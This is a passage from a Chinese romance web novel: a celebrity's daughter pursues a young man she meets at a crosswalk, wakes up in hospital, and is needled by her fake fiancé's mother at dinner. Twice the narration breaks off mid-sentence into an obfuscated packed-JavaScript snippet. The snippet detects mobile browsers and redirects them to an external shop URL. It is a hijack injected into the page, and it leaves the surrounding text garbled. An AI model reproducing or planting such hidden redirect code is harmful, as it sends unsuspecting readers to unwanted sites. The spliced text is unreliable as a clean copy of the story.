“你果然跟你妈很像。”他说,语气里带着某种奇异的欣赏,“连说话的语气和断句都一模一样。内容也说的一字不差。” “她说什么了?” “我当然什么都想要。” 柏润森道,“我这个人实在,欲望是藏不住的。秦姬能找上我,自然知道我是什么货色,又想要什么。多此一举地问我,无非是想听我亲口承认罢了。” 他顿了顿,嘴角勾起一抹笑:“我顺她的意,说清楚了一切。她笑了起来,笑得很好看,又很疯。后来亲我的动作也相当粗鲁,甚至在床上——” “够了。” 闻栩抿着唇,唇色有些发白。她不想听细节,即便她早已亲眼目睹过每一寸的苟且。 柏润森知道她才刚成年,对这种事难以接受也情有可原。他换了个语气,带着点过来人的宽慰:“这种娱乐圈的桃色交易很正常。你再大点就会知道,身边多少人在干着相同的事。况且,你和你妈又那么像。指不定哪天,你也会对一个男人——” 他顿了顿,目光意味深长地落在闻栩脸上:“又一个、又一个男人,问出今天这个问题。然后干着你现在认为极为出格的事。” “我不是复制品。” “你当然不是。” 柏润森说,“可你有她的基因。你们的血缘关系和生活环境会教会你的。况且,你已经成年了。用不了多久,你会想去践行每一步的。在你下意识模仿你妈妈的过去时,已经是变相地承认了你和她有相似之处。” 闻栩不想听他的歪理邪说。她转身就走,背着吉他包,拉链划到最上。前几天新买的毛线兔子挂件撞着她单薄的肩,晃了又晃。和她别在头发上的粉色发卡明显出自同一人之手,幼稚得格格不入。 柏润森在她背后眯起眼,目光追随着那个晃动的粉色兔子,似笑非笑地开口:“小秦姬,奉劝你一句。” 闻栩脚步顿了顿。 “你爸妈给你铺了一条多少人一辈子都追赶不上的路。你要做的,就是沿着这条路规规矩矩地往前走。别没事找事,净想要争取些不值钱的东西。结果不会如你所愿的,甚至需要你为此付出更多的代价。” 他的声音慢悠悠的,像在陈述一个事实:“一切都很惨的哦。你这小身板,承受不住的。” 闻栩挺直肩膀,头也不回地出去。小兔子挂件撞得更起劲了,粉色的绒毛在空气里一颤一颤。 柏润森的话,她一个字都不会信。 砰—— 关门的动静展示了她的决心。 空荡的房间里只剩柏润森一个人。他看着那扇被狠狠摔上的门,摇了摇头,嘴角勾起一抹玩味的笑。 “犟种。迟早会吃亏。” * 晚九点。 闻栩因为几小时前在柏润森那儿受了气,没吃晚饭。乐队排练时,她心不在焉,弹错了好几个音。 步洄游看在眼里,提前结束了排练。 “走吧,带你去吃宵夜。”他拿过她的吉他包,同自己的背到一起,另一只手自然而然地搂住她的肩。 另外两个人还在慢吞吞地收拾。等脚步声走远,门彻底关上,鼓手周晋忍不住道:“这跟谈了有什么区别?小秦姬不知道在装什么,钓着又不搭理。” 贝斯手李威泽说:“你以为步哥就真心的?都分几个了,之前两个我都没记住脸就分了,换衣服似的。” 周晋总结:“成天黏一块儿,能不是一路人吗?搞得谁不知道他们订过婚了似的。” 步洄游的车停在地下车库。这个点开出去,还能看见不少蹲点的粉丝。从传来的声响里都能猜到,有些是他们乐队的粉丝。 “这车是步洄游的吧?” “就是啊,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481867|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周刚提的,发过微博。” “等会儿,副驾好像有人……不会是……” 眼疾手快,闻栩立刻把车窗关了上去,严丝合缝。 “真迅速啊。”车外有人说。 闻栩心下一得意。 又听外面人说:“明明是做贼心虚,谨慎避嫌。都不用看了,副驾上一定是小秦姬。” 闻栩:“……” 步洄游痛苦忍笑:“要不营业一下?” 闻栩缩起脖子躲了躲:“不要。” 步洄游不老实,胳膊动了动。 闻栩警告道:“你敢开窗,我就敢抽你一巴掌。开一厘米,抽一巴掌;开两厘米,抽两巴掌;开三厘米,抽降龙十八掌。” 步洄游老实了。 车开到大路上,才真正上了速度。步洄游说起正事:“周日跟我回家吃饭。我妈想见见你了。” “嗯。” 闻栩对此没什么意见。 订婚这事儿从头到尾都是她在配合步洄游演的一出戏,为的不过是帮步洄游争取更多自由时间。他母亲徐南芳和闻鹤津是多年老友,两家走得近,订个婚约堵住那些催婚的嘴,皆大欢喜。 但说起来,订婚也只是个订婚,不具备法律效应。对他们双方都没有任何行为上的限制。 步洄游收到肯定答案,嘴角一扬,还没乐多久—— 眼前一红,脚下就是一个急刹。 闻栩正低头看手机,刹那的惯性让她的头猛地前冲,撞在了手机边角上。 “嘶——” 她倒吸一口冷气。车里的冷空气入肺,连着让本就空着的胃更难受了。 步洄游忍不住爆了句粗口,抄起口罩戴上,下车查看情况。 闻栩捂着额头缓了几秒,跟着下了车。她想去拉一把步洄游,让他收敛点脾气——这可是他的新车,周晋他们碰一下都要挨顿揍,现在追尾了,别闹出什么事来。 十字路口的信号灯发出嘟嘟的调频音乐。闻栩不经意看过去,然后,在一众黑黢黢的人流里,忽然间认出了一个人。 月色笼罩。他穿着白衣黑裤,走在霓虹灯里,行色并不匆匆。 习颂。 闻栩的心跳漏了一拍。 “你怎么开车的?” “抱歉抱歉。” “这可是我新车,知道多贵吗?” 这边,步洄游和对方还在争执着赔偿还是打一架。他们身后的车也受到了影响,纷纷探出头的同时按着鸣笛喇叭。不耐和焦躁的长短音交织,尖锐刺耳,催促着,驱赶着,识相的人快些离开。 那边,那波人流在信号灯变化的指引里,裹挟着那个人走上了斑马线。 他们之间的直线距离愈来愈大。肉眼可见的,那个人影越来越小,离她愈来愈远。她看着他越来越不清晰,直至快要消失不见—— 闻栩的理智崩掉了。 “Vibby,回车上去!” “Vibby?” 对步洄游置若罔闻。闻栩忘掉了自己走出车里的理由,不顾一切地跑了出去。 风在耳边呼啸,心跳如擂鼓。她穿过人群,穿过鸣笛声,穿过红绿灯的交替。碌碌无为的日子里积压的无意义,似乎都是为了这一刻。也只在这一刻,才变得有趣起来。 那段追赶的路上,闻栩惊喜地发现,随着他们之间的直线距离减小,她好像在一步步获得某种成就。那些成就换取的奖励是成倍的喜悦——叠加,累积,成了翻了不知道多少倍的巨大喜悦。 最后,在信号灯变成红色的那一刻,在向四周分散走开的人流里,她扯住了他的手臂,停了下来—— 停在了他的身边。 “习颂,我终于抓到你了。” 手心是高于她的体温。周身开始侵袭过来的,是从未有过的清冽气息。她扯住他干净的衣衫,迎上男生白皙清隽的脸上乌黑的眉眼,发自内心地笑了起来。 笑得很开怀,喜不自胜。 习颂低头看她,目光里有一瞬间的怔愣。他似乎没料到会在这里遇见她,也没料到她会有这样的反应。 不等他开口,背后的方向传来一声—— “小心!” 声音熟悉。和眼前人的声音一样,压抑时清清冷冷,像冰块砸进温水里。 闻栩恍惚了一下。不等她反应过来,手腕被人扯住,拉动—— 她的身体跟着向后方一侧倾斜而去,紧接着落入一个异常温暖的怀抱。 温度还未来得及温暖她的全身,身后就传来车辆极速穿过的声响。她回头一看,一辆电动车擦身扬长而去,留下骂声的尾音。 “傻逼!想死跳楼去啊!站马路中间想要连累谁啊!” 闻栩僵在原地,木讷得已经没有了知觉。 步洄游跑过来,一把撞开护着闻栩的人,将她抱进怀里。他的手臂在发抖,声音也在发抖。 “吓死我了!是不是又没吃药?突然又找什么死?” 闻栩在步洄游的方寸大乱里依旧死寂。麻木的神经来不及缓和,一抬眼,又见穿着白衬衫的习颂站在一边。他似乎在意她是否平安无恙,迟迟未走,也未动。 不知道是不是幻觉,闻栩也不敢轻举妄动。她只是呆呆地看着他,看着他身上逐渐重叠上别人的影子。她倚着步洄游的肩膀,冲他轻轻笑了一下。 果然,真的很像。 念头起伏,眼前渐渐黑了下去。步洄游的声音越来越小,像从很远的地方传来。 在意识彻底消失时,一股干净清新的味道贴近她的鼻尖。浓郁起来后,更加好闻了。 和几天前的便利店里,习颂在她面前蹲下身,往她小腿上贴创可贴时的动作里——她故意靠前,擦过他的肩颈部位时闻到的味道,一模一样。 那个时候,习颂还说了什么来着? 啊,他问她:“痛不痛?” 4. Chapter 4 闻栩醒来时,感觉自己快要饿死了。 意识回笼的第一秒,胃就开始抗议,空落落地绞着疼。她下意识抬手去摸额头—— 痛。 被撞的地方肿起一小块,上面服帖的贴着一块创可贴,边缘平整,贴得规规矩矩。 病房里很安静。消毒水的味道若有若无,窗帘拉了一半,月光从缝隙里漏进来,在地上铺了一层薄薄的银白。 步洄游坐在病床前玩手机。二郎腿翘着,耳机戴着,整个人舒舒服服的,一副来度假的架势。 听到床上的动静,他才撂下手机看过来,眼里松懈的目光逐渐凝聚紧绷。 步洄游第一时间在意的不是她的安危,而是硬声的质问:“那人是谁?” 那语气,那神态,和闻鹤津如出一辙。 闻栩直犯恶心。她别过脸,故意避而不谈,四下张望了一圈。病房不大,除了她和步洄游,再没有第三个人。 她由不得着急起来:“他人呢?” “谁?” “那你质问的人是谁?” 步洄游慢悠悠地摘下一边耳机,唇畔是戏谑的笑:“哦。他被警察抓走了。” 闻栩瞪大了眼,不可思议:“哪来的警察?” “我叫的啊。” “我请问呢?” 步洄游振振有词:“他要拐卖你,我不报警,我报喜?送你们入洞房吗?” 闻栩懒得和他胡搅蛮缠,果断掀开被子:“果然和你尿不到一个壶里。” 她手起刀落,拔掉手上的输液针,就要下床。 步洄游伸出一条长腿架在病床上,拦住她去路:“去哪?” 闻栩用力撬他的腿:“警察局捞人。” 步洄游拽住她胳膊:“你给我待着,哪都不许去。” “我去自首行不行?” 闻栩梗着胳膊,和他较劲,“我是那个坏人,是我要拐卖他。” 步洄游挑眉,随即一使力,闻栩被推着又躺回了床上。 他附身过来,双手撑在她身体两侧,恶意地笑:“我突然想明白了。那天你莫名其妙的几句话——他就是你喜欢的类型?” 闻栩在他身下丝毫没有挣扎,只是平静地看着他,又忽地在意想不到的地方着魔一般眼神失去了焦点:“你也看出来了,是吗?那几个条件,他全都符合。” 步洄游盯着她的眼睛,一字一顿:“你是因为喜欢他才有了那几个条件,还是因为那几个条件而选中了他?” 闻栩没有听清。她满脑子只有一件事:“他人在哪里?” 报警的借口太老套,她压根没信。步洄游不松手,她就抱住他的胳膊,一口咬下去。 “嘶——” 步洄游痛得直抽气,坚持不了几秒就妥协了,松手拍她的脸,“他就根本没来医院!” 闻栩愣住了,咬出的牙松开,步洄游的胳膊被咬出了一排整齐的牙印,皮肤泛红充血,离破口不远。 这个消息仿佛天大的打击。 闻栩躺在床头,心里开始泛酸,没过几秒,苍白的脸上更是没了血色。 步洄游捂着胳膊,看了一眼女孩埋汰的脸,语气软下来:“怎么了?” 闻栩沉默。 下一秒,眼泪在她毫无表情的脸上夺眶而出。 泪水顺着脸颊滑落,一滴又一滴,沾湿了发丝和床单。 步洄游直接看傻了。 印象里还没见过小姑娘哭。他可以巧言令色安慰别人,但没有安慰闻栩的经验。一下就给整慌了,站也不是坐也不是,光顾着问: “不是,那人到底是谁啊?” 闻栩哭出了声,即使面部没有多余的表情,眼泪却似断了线,落个不停。 步洄游开始猜:“你粉丝?” 闻栩摇头。 “你同学?” 闻栩摇头。 “难不成……” 步洄游心头一紧,“你初恋啊!” 闻栩还摇头。 步洄游要崩溃了:“他到底是谁啊?你倒是说啊!” 闻栩更崩溃:“我不知道啊!” 步洄游傻眼:“你不知道?你哭什么?” 闻栩崩溃到极点:“我就是不知道,我才哭的!” 步洄游:“……” 他深吸一口气,感觉自己也要跟着哭了:“我才和你尿不到一个壶里。” 撂下这句话,他站起身就走。走到门口,把门一拉,给她让出一条路:“那人跟我一起送你来的医院,十分钟前刚走,你找去吧。我不管你了。” 像是就等他这一句话。 目的达成,闻栩没有犹豫,瞬间止住哭声。穿上鞋就往外走,一套动作一气呵成。蓬松发丝下的面庞毫无伤心痕迹,冷静得像什么都没发生过。 步洄游看着她的背影,忽然开口:“Vibby,我有没有告诉过你,我妈对我说过,秦阿姨年轻的时候个性很奇怪。” 闻栩停下来,回头看他,眼神里没有任何情绪。 “我算是体会到了。” 步洄游似是疲惫,闭了闭眼后,似有似无地叹了口气。 他一向嚣张无度,洁癖起来的处女座无人能敌。此刻却还是伸出手,给她擦掉脸上残留的泪痕。 “你真的和你妈妈一样。Vibby,你和你妈一样奇怪。都会突然莫名其妙地对不相干的人心血来潮。”他的目光落在她脸上,带着某种复杂的审视,“怎么,你该不会真的喜欢他吧?” 闻栩撇到他盘桓在自己脸上的手:“你觉得呢?” 步洄游哼了一声:“历史重演就是悲剧二次方。你想重蹈覆辙,绝对不会是明智之举。” 闻栩看向他,摇摇头:“可你错了,步洄游。人不会踏进同一条河流两次。即便有,但起码现在,刻舟求剑的人不是我。” 步洄游怔住。 闻栩没有再看他,转身走出了病房,又走进了夜色里。 * 从住院部一路走到外面,被风吹了又吹,闻栩才稍稍清醒。 医院这么大。医院之外,还有更大的地方。她要上哪去找习颂? 秦姬当年找不到那个人时,是什么心情呢? 她停在原地,琢磨着秦姬的悲哀,心头的酸楚劲儿忽然又冒了出来。 双向患者一向控制不住情绪。闻栩并不是个会听医生话好好吃药的人,情绪崩塌对她而言是轻而易举的事。 她闷着头,用手压住一只被泪水糊到看不清的眼睛。肩膀阵阵抖动,哽咽声开始绵绵不断。 眼泪一颗颗掉下来,打在地上。她有些为自己的悲伤可笑,却还是任由潮湿浸润在上都的夜景里。 悲伤的原因,或许是因为无处找寻的习颂。又或者是因为可笑的自身处境。但最起码,不是因为秦姬,也不是因为习颂想像的那个人。 路灯昏黄,身后的住院部灯火通明。 再往前的区域,泪眼婆娑里,忽然闯进来一双纯白色的运动鞋。 闻栩一愣。 眼泪还挂在脸上,但眼前的一切在视线里切实存在着。 时间凝固了几秒。她仍旧低着头,等到了一句—— “哭什么?” 依旧是那样微沉干净的声音。 闻栩不用抬头,就知道眼前的人是谁。 她猛地抬起头。习颂就站在她面前,穿着那件再简单不过的白色T恤,眉眼在夜色里愈发清隽。 和某段印象不谋而合。那个人,那个她不愿想起的人,也曾这样干干净净地站在光影里,来的意外又一声不吭。 直到时间开始流淌,秦姬开始崩溃大哭,那个人的直男属性开始瓦解—— “你赢了,秦姬,我真是见不得你哭。” 所以哭很管用,但又不能仅仅在哭—— 闻栩在情感交加的夜晚难以自持。她心里拨动着算盘,顾不得所有,温吞吞地站起身,在难挨的情绪洪流中,忽地朝习颂跑了过去。 一头撞进习颂怀里时,闻栩没有意识到,对一个陌生的异性投怀送抱,对于当下她和习颂而言是多么奇怪的事。 她甚至伸出手臂环住习颂的腰,继而紧紧缠住,将眼前怔愣得不得动弹的人牢牢锁在身边。 闻栩不是不明白自己在做什么。意识和理智尚在,自然会鄙夷此刻的自己。但计划与变化,还是从这一刻悄无声息地开始了。 “我抓到你了,习颂。” 她靠在他肩窝里,闷声哭泣,声音带着央求,“也请你不要再乱跑了,我并不擅长运动,可我找了你很久。” 她抱得很用力。腰间的力道再过度一些,便会影响呼吸。 习颂僵住了,无所适从是真的,不论是她过于热情的围拥,还是满带哭腔的真心话。 他怔愣到没有挣扎,垂着手在身侧,手指颤动着,完全失控。扫待到熟悉了女孩身上的味道后,他才微垂眸,轻轻开口。 语气一如既往的平淡:“我没有乱跑。” 闻栩埋在他怀里,对着颈窝呼气,仍在抽泣。 脸上依旧没有多大的表情。 心里想着,习颂会以为她很悲伤的。 因为他没有推开,他的心跳得很快。 * 夜晚,住院部附近的凉亭里鲜有人在。 闻栩捧着一盒温度刚好的皮蛋粥,小口小口地喝着。一双眼睛提溜圆,注视着不远处在凉亭外打电话的男生。 少年人身形高挑,背脊挺拔,肩膀平直。简单的白色T恤衬得他整个人愈发干净清新。细软浓黑的头发在夜风里轻轻拂动。 让闻栩一时间看的入迷。 忽然,那张明朗清俊的脸转了过来。于昏黄的光与昏暗的影之中,向凉亭里投来一道视线,落在她脸上。 纯白而透彻。 对上视线,闻栩眸光微顿。和煦的温度将她层层包裹起来。 她没有断开视线连接。习颂背过身,她就继续偷听。 “不去了。” “叫哥哥没用。” “你别去打扰奶奶。” “挂了。” 通话就此结束。 脚步声由远及近。闻栩垂下眼,小口继续喝粥。余光里,随着习颂的靠近,有关于他的细节逐渐变多,变清晰。 白色的球鞋。深蓝色的牛仔裤。白色T恤的下摆——那里的布料皱巴凌乱,不会是被她强行拥抱造成的吧? 闻栩一口米粥下肚,有丝心虚。 “时间不早了。”习颂的声音从头顶传来,没有太多情绪。 闻栩抬眸看向近在眼前的面庞。少年人的脸白净又好看:“你家里人在担心了?” 习颂低下头看她,眸光清净:“嗯。” 第二次近距离接触,闻栩才清晰地认识到,眼前的人真是长了一张混娱乐圈的脸。 放在现下流行的选秀里,就算唱跳烂到不行,也会有人愿意为他花钱买票送他出道。而放到十几年前,他也会是娱乐公司首选的出道成员。 就像当年的那个人明明时运不济,唱跳不佳,却靠着一张脸一直红到现在。哪怕绯闻坐实,粉丝也不离不弃,而秦姬也为了他,干出了她所以为最出格而又后悔的事。 闻栩意识到自己的视线过于灼热,便紧急地收回眼。低头盘弄着白粥,语气里夹着抱歉:“今天耽误你时间了,对不起啊。” 习颂在石凳上坐下,回应得清淡:“没事。” 闻栩又问:“那有没有吓到你?我抓你的那一下,我晕倒的那一下,还有……刚刚我抱你的那一下。” 提到这些对陌生人而言过于密切的接触,习颂微微掀起眼皮。眸光轻轻地垂落在她的眼尾——那里的红晕还未散去。 “实话吗?” 闻栩点点头:“嗯。” 她的眼尾还残留着泪痕,额角上的伤经过处理,贴上了创可贴。习颂转过脸,目光跟着月色落到一旁的地上。能看到她的影子。 “我以为你要碰瓷。” 闻栩愣住了:“……嗯?” 反复回想起那一幕——先是抓着不放手,然后是胡言乱语,又突然昏倒。别说,在一众不知情的围观群众眼里,确实像在碰瓷。 可她本意不是这样的,她起码要装的连自己都要骗过去。 不想让习颂多误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481868|201791||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会一秒,闻栩迫不及待想解释。但转念一想,又察觉到不对。 “等等。” 她找到话里的漏洞,“你既然知道我碰瓷,那你为什么不仅不走,还给我买粥?” “医生说你低血糖。我猜想你没有吃饭。” 习颂意味深长地向她投来一抹静谧的视线,“除此之外,你从我这里拿不到任何身外之物。” 听见这个回答,闻栩莫名想笑。 她一身名牌,平日也没少显摆。可习颂不了解。她有必要强调:“我并不缺钱。” 习颂依旧看着她,没有任何质疑的神色。 闻栩继续说道:“我只是特别在意一件事——你会给每个受伤的女孩细心地贴上创可贴吗?也会在低血糖时给她买上一碗热乎的粥吗?” 习颂安静了一瞬。在她眼里想要抓住些什么却无济于事。 似丹担心引起不必要的误会,他转而开口:“我认识你。” 闻栩以为是她星二代的身份,却听见他说—— “我奶奶支起的小摊,大部分的盈利来自于你。你进买兜时,我第一眼就认出了你。你帽子上的兔耳朵,是我奶奶晕倒前织完的最后一个样品。” 闻栩不禁打住,跑题道:“奶奶怎么了?” “血糖没控制好,现在没事了。”习颂垂下眼。 “没事就好。老人家身体平安比什么都重要。” 闻栩安慰道,“你没有让她继续摆摊,是对的。” “嗯。” 习颂没再继续说话。 闻栩也懂了——习颂对自己好的理由,不过是“投桃报李”。他的孝心促使他对一个陌生人慷慨了自己的热情罢了。 这些是不够的。 至少对她想要得到的,还远远不够。 闻栩一边讨伐自己想得太多,一边又意识到自己是在失落。她下意识抿了抿唇,胃口小了不少。 习颂也没有再开口说话。 闻栩费劲地打理着自己的情绪,不禁烦躁起来。 她抬眸重新看着习颂。少年人的眉眼一如既往地乌黑纯粹。低下头时,额前的碎发会在鼻梁一侧留下不深不浅的阴影,衬得整个人清冷而孤僻。 他的视线扫过她面前的碗——里面还剩一大半没动。 闻栩不饿。她捏着筷子,眼里全是他:“那你现在不回家吗?” 习颂抬眉,对上她的视线。微凝,又重新撇开眼看向远处。他徐徐道:“不急。等你吃完,我再回家。” 闻栩不禁想,也是。粥是习颂买给她的。当着他的面不吃完,相当于扔进垃圾桶,确实不礼貌。 于是她捧着碗,强迫自己多吃一点。 身旁的人说到做到。陪着她吃完了一整碗粥,全程十几分钟里,没有玩手机,安安静静地坐在她身边。像一个陪伴型机器人,一动不动。 闻栩却觉得很安心。 胃口也好了很多。一大碗粥全部下肚,一颗米粒也没浪费。心里的烦躁消散了大半。 * 吃完已经晚上十一点。 没了车的步洄游叫了廖翔过来。他坐在车里,公子架子端得足足的,懒得下车动一下。见到闻栩出来,才从后座探过身,手臂越过平叔,按了按喇叭。 声音尖锐刺耳。 闻栩没有回头。她全神贯注地看向身边的另一个人,步洄游是空气。 步洄游顺着她的目光看去,见到那个人,眉毛下意识皱在一起。 还真给她找到了。 “今天谢谢你陪我。”闻栩态度端正,再次道谢。 廖平把车开到路口停下。闻栩打开车门,态度端正又礼貌地邀请:“这个点没有公交,出租也不安全。我送你回家吧。” 习颂往车内看了一眼。 步洄游在这时扯来吉他包,扔在一旁空下来的位置上。没有过多的话语,视线也没有从手机上挪开。但那散漫的姿态和过于多此一举的动作,将不欢迎和抵触明晃晃地摆了出来。 习颂收回眼,同闻栩道:“不用。” 闻栩以为是自己的行为欠考虑。 也是。她都是有前科的人,保不齐下一秒就带着习颂去缅甸噶腰子。 果然还是她太唐突了。况且,明明算是正式的第一次见面,就知道了对方的家庭住址——似乎太快了?有点不尊重。 不能有所行动,就只能在嘴皮上下功夫。她不是话痨体质,却在彼时忍不住多说几句。 大约是今晚吃饱了的缘故。 “那你路上要小心。” “嗯。” “上黑车要报警。” “嗯。” “别走小黑巷。” “嗯。” 有来有往,没一句话落空。闻栩有些意外:“我说的话,你都记住了?” “嗯。” 习颂很耐心,回答得也很沉稳。虽然语声是一如既往的清冷,但在不明就里的情况下,就给她不安的心安上了一道保险扣。 闻栩眨了眨眼。 突袭的念头得了空钻出来,便一发不可收拾。 如果他真的都能记住的话——她选择相信习颂一次。 “那我叫闻栩。” 她顿了顿,认真地看着他:“你也要记住。” 今晚月色皎白,无风入境。 习颂低垂着眉,看着少女眼底仅仅因为希望自己记住名字而透出来的满满期待。他点了点头,回应了她的期待: “嗯。” 得到想要的回应,闻栩旋即毫不掩饰地笑了起来。很开心的样子。 那笑容似乎一触即化,意外地柔软。 习颂低下头,额发盖住他的眉眼。藏匿起的瞳眸深不见底,蕴含万千。 最终,他抿了抿唇,偏过身,走到车前,替她扶住了车门。 待闻栩弯身坐进车里,回头向他挥手时,习颂开口—— “路上小心,闻栩。” 顿了顿,又补了一句: “晚安,闻栩。” 闻栩倒有些意外:“你怎么…” 习颂说:“向你证明,我记住了你的名字。” 5. Chapter 5 转眼就到了去步洄游家吃饭的那天。 傍晚,步洄游来接人,看到在一片盛夏火热夕阳里穿着短裙的女孩从别墅门里走了出来,修身的吊带和修饰用的镂空毛衣下漏出的腰盈盈一握,裙摆下的两条腿细长白嫩,美的不可方物,不自禁眼前一亮。 他的Vibby很漂亮是公认的。 十六岁正式出道,公司微博发出了九张公式照,每一张照片都从不同角度展示了闻栩的面目和身形,宣发带上了秦姬和闻鹤津,后两人还评论加转发,流量一下子就爆了,闻栩出道上了热搜,挂了整整一天多。 评论区上百万的言论里好坏各占一半,但这一半又一半里没有一个人说她不漂亮。 “中了基因彩票”梗被带火,这个词到现在拉出来,知道热梗的人就能下意识的想到闻栩。 而两年过去,小女孩长得越发出彩夺目,只要存在,就足够让人心动不已。 连步洄游都舍不得移开目光,自带情欲的视线直勾勾的看着小女孩侧身抬腿上了车。 他一个歪头倾过身,把着方向盘的手挪到她的侧脸,轻抚一下:“穿这么漂亮?” 闻栩对着副驾的镜子理了理跑乱的头发,才闪着眼眸问:“真的很漂亮吗?” 她的眼睛大而明亮,心情好时格外神采奕奕,譬如现在。 可她今天似乎比平时都要更在意自己是否漂亮。 喉结轻滚,步洄游来不及细想,接着话就承认:“很漂亮,我交的那么多女朋友里没有谁比你还漂亮。” 什么遣词造句,闻栩懒于追究,将随身带着的兔子发饰别在了侧耳旁,固定住了一侧的长卷发。 步洄游盯着那粗制滥造的粉色毛线制品,不顺眼道:“这个兔子发饰就算了吧,很廉价,回头我送你一个,大几万的,不比这个好几千百倍。” “是很廉价,一个只要一块钱。” 闻栩摆了摆发卡的位置,确认到位后,冲镜子里漂亮的耳边兔笑了笑,很满意道:“但我就喜欢这个。” 步洄游冷哼:“竟喜欢些破烂。” 闻栩不以为意:“总比不喜欢来的强,比如我就不喜欢你。” 步洄游一时语塞,又气到狂踩着油门,车飞了出去。 * 自从订婚后,闻栩第一次被步洄游的母亲邀请到家里做客。 步家家境殷实。步洄游是步家的独生子,父亲步南行是上都有名的富商,母亲徐南芳是娱乐圈内知名的编剧。最近爆火的原创警匪戏就出自她笔下。 有营销号爆料,她目前还想尝试青春校园悬疑剧,剧本已经完成,阵容上主演尚未敲定,但爆出特殊参演的人员是与闻栩同为星二代的凌敬圭。光是这一个人的热度,已经让这部剧有了大爆的趋势。 车驶进步家别墅的大门。闻栩跟着步洄游下车,穿过修剪整齐的花园,走进那栋三层洋楼。 步南行出差不在家。徐南芳正坐在客厅里敲着电脑,鼻梁上架着眼镜,手指灵巧地在键盘上移动,下笔如有神。 “妈。”步洄游支了一声。 闻栩跟着问好:“伯母好。” 徐南芳这才从剧本里抬起头。她的目光先是落在自家儿子身上,然后——移到了闻栩身上。 今日的打扮…… 她怔愣了片刻。 那目光在闻栩身上停留了几秒,从上到下,又从下到上。像是在打量一件商品,又像是在审视一个对手。 眼底有什么东西一闪而过,太快,快得让人来不及捕捉。 然后她笑了,笑得客气而得体:“你们两个过来坐吧。” 两人落座。徐南芳合上电脑,抬头直接看向闻栩:“小秦姬果然不是白叫的。这也没订婚几天,也托我儿子的福,感觉又漂亮了点,。” 闻栩干笑了几声,心里隐隐不太舒服。 她和徐南芳接触不多。大多认知是听步洄游发牢骚得来的——说他妈管得多,自从回国后每天都忙着给他物色姑娘。他烦不胜烦,才请闻栩帮忙假恋爱假订婚,堵住自家母亲那颗着急的心。 步洄游计划得简单。他以为,以闻栩的家世背景,足够让徐南芳放下操碎的心。 但眼下的情况显然不是。 徐南芳放下眼镜,抱臂靠向沙发。鼻尖微微抬起,目光落在闻栩身上,带着某种审视的意味。 客厅里的空气似乎凝滞了一瞬。 “你知道吗,小秦姬?” 徐南芳开口,声音不紧不慢,像是在聊家常,“你妈妈年轻时也爱穿成这样。骚首弄姿的,然后就勾引到了你爸爸。” 她顿了顿,嘴角勾起一抹笑。 “当然,上钩的也不只有你爸爸。” 那笑容在嘴角停留了片刻,然后缓缓加深。 “真是,厉害。” 最后2个字,她说得很轻,像是赞叹,又像是别的什么。 闻栩僵在沙发上,知晓当年事的人又多一个。 客厅里安静得能听见墙上时钟的滴答声。 徐南芳依旧靠在沙发上,姿态闲适,仿佛刚才只是随口说了句无关痛痒的话。但那双眼睛,却始终没有从闻栩脸上移开。她在等—— 等闻栩的反应。 也不出她所料。 夕阳从落地窗外倾泻进来,在地板上铺了一层橘红。光线正好打在闻栩身上,把她整个人都笼罩在那片温暖的色调里。 可闻栩却觉得冷。 彻骨的冷。 她忽然想起出门前,自己对镜子里那只粉色兔子发卡笑的样子。 那个时候,她是真的开心。 可现在,又是因为秦姬,她的体面顷刻间碎了一地。 * 徐南芳二十出头就成了编剧。在圈里摸爬滚打许多年,几乎了解秦姬和闻鹤津的一切事相——尤其是秦姬。她有多少黑料,徐南芳就能搜罗到多少黑料。 从前,她碍于闻鹤津的面子,不会在闻栩面前提起秦姬那些不光彩的过去。但如今,见闻栩和自家儿子的婚约在手,她约莫以为这场婚事是板上钉钉的事,便真把闻栩当做未过门的媳妇看待。言语间,便不再有任何顾忌。 闻栩虽有病在身,但也不是一点就炸的火药。更何况步洄游就在身边,她不会不给他面子,冲撞他的母亲。从小到大,闻鹤津用不少手段教育过她——忍耐,忍耐,再忍耐。 闻栩擅长忍耐。 徐南芳见闻栩没有反应,约莫觉得没意思。恰好家仆来通知饭做好了,她便不再言语刁难。 “走吧,吃饭。”徐南芳站起身,理了理衣襟,领着他们往餐厅走去。 闻栩跟在后面,刚踏进走廊,就闻到一股不太舒适的味道。 走进餐厅一看——她的鼻子还算有用。 今晚是一顿豪华的海鲜宴。长条餐桌上摆满了各色菜肴,龙虾、鲍鱼、海参、帝王蟹……很多食材都是空运来的,厨师也是从特级餐厅专门请过来的。烹饪手法高端,做法华丽,最后铺满一桌子的菜色香味俱全。 但很可惜。 闻栩吃不了海鲜。 不仅吃不了,闻到一点腥味都不行,更是见不得一点活物。这一点,也是遗传了秦姬。 这事儿,步洄游是知道的。 徐南芳作为秦姬多年的“朋友”,也应当是知道的。 在全知全晓的情况下,为什么会出现这种意外呢? 闻栩忍着胃中的不适,端坐在餐桌旁。她垂着眼,看着面前精致的餐具,脑子里闪过无数种可能性。逐一筛选,最后只剩下了两个。 要么,是她做错了什么,徐南芳要借故惩罚她。 要么,是秦姬得罪了她,徐南芳要拿她当出气筒。 但不管哪一种,今天这顿饭,她似乎都得受罪。 “小秦姬怎么不吃啊?” 徐南芳的声音从对面传来,带着关切的笑意。 闻栩抬起头,对上那双眼睛。 